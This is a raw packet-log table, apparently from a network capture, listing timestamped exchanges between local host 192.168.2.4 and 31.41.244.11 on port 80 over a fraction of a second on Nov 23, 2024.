Nov 23, 2024 11:22:13.900382042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.901266098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.901304007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.901420116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.901456118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.902266979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.902312994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.902440071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.902477980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.903352022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.903389931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.903485060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.903523922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.904298067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.904331923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.904434919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.904496908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.905297995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.905333996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.905402899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.905440092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.906318903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.906357050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.906359911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.906397104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.907301903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.907337904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.907404900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.907442093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.908293009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.908334017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.908366919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.908402920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.909267902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.909306049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.909380913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.909416914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.910254002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.910291910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.910361052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.910398960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.911262989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.911299944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.911325932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.911365032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.912297010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.912341118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.912343025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.912389994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.913264036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.913305044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.913362980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.913398981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.914258957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.914298058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.914382935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.914421082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.915298939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.915334940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.915410995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.915447950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.916294098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.916338921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.916351080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.916389942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.917351961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.917393923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.917491913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.917529106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.918276072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.918309927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.918387890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.918426037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.919249058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.919297934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.919353962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.919389009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.920269966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.920309067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.920394897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.920432091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.921261072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.921300888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.921386003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.921425104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.922278881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.922314882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.922441959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.922482967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.923269033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.923310995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.923418999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.923458099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.924288988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.924329996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.924402952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.924439907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.925266027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.925307989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.925395966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.925435066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.926287889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.926328897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.926383018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.926424026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.927273989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.927318096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.927378893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.927414894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.928283930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.928323030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.928359985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.928397894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.929337025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.929375887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.929410934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.929449081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.930257082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.930293083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.930401087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.930438042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.931255102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.931291103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.931432009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.931477070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.932270050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.932308912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.932378054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.932418108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.933264017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.933307886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.933374882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.933412075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.934247971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.934320927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.934351921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.934391975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.935214996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.935267925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.084250927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.084273100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.084283113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.084358931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.084388971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.084429979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.085264921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.085306883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.085406065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.085444927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.086186886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.086236954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.086386919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.086426020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.086937904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.086987019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.087096930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.087136984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.087929964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.087985039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.088018894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.088058949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.088942051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.088992119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.089052916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.089102983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.089939117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.089987993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.090028048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.090068102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.090965033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.090976954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.091017008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.091933966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.091984987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.091994047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.092031002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.092926025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.092966080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.092994928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.093009949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.093925953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.093969107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.093974113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.094008923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.094934940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.094981909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.095014095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.095052004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.095920086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.095961094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.096082926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.096128941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.096918106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.096960068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.097127914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.097167015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.097948074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.097987890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.098069906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.098105907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.098963022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.099000931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.099224091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.099261999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.099921942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.099961042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.100033045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.100070000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.100908995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.100955963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.100992918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.101033926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.101972103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.102010965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.102011919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.102047920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.102962971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.103029013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.103066921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.103107929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.103904009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.103946924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.104123116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.104163885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.104984999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.105027914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.105072021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.105113029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.106046915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.106089115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.106118917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.106158972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.106930017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.106973886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.107033968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.107073069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.107932091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.107976913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.108006954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.108045101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.108933926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.108974934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.109030008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.109064102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.109916925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.109961987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.110057116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.110095978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.110922098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.110964060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.111042976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.111082077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.111962080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.112000942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.112090111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.112126112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.112906933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.112948895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.113071918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.113111973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.113934994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.113977909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.114010096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.114048004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.114928007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.114967108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.115005970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.115045071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.115910053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.115952015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.116022110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.116060972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.116899967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.116945982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.117078066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.117117882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.117912054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.117954969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.118037939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.118077993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.118922949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.118968010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.119004965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.119045019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.119927883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.119966984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.120033979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.120073080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.120979071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.121018887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.121049881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.121088028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.121901989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.121942043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.121994972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.122047901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.122893095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.122936010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.122982025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.123044968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.123903990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.123958111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.124033928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.124078989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.125015020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.125062943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.125135899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.125190973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.125900030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.125938892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.126075029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.126111984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.126943111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.126981974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.127007961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.127048969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.127903938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.127943993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.128009081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.128048897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.128886938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.128928900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.128931046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.128966093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.129904032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.129944086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.130000114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.130064964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.130901098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.130949974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.131057978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.131098032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.131908894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.131949902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.132105112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.132143021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.132901907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.132968903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.133115053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.133160114 CET	49765	80	192.168.2.4	31.41.244.11
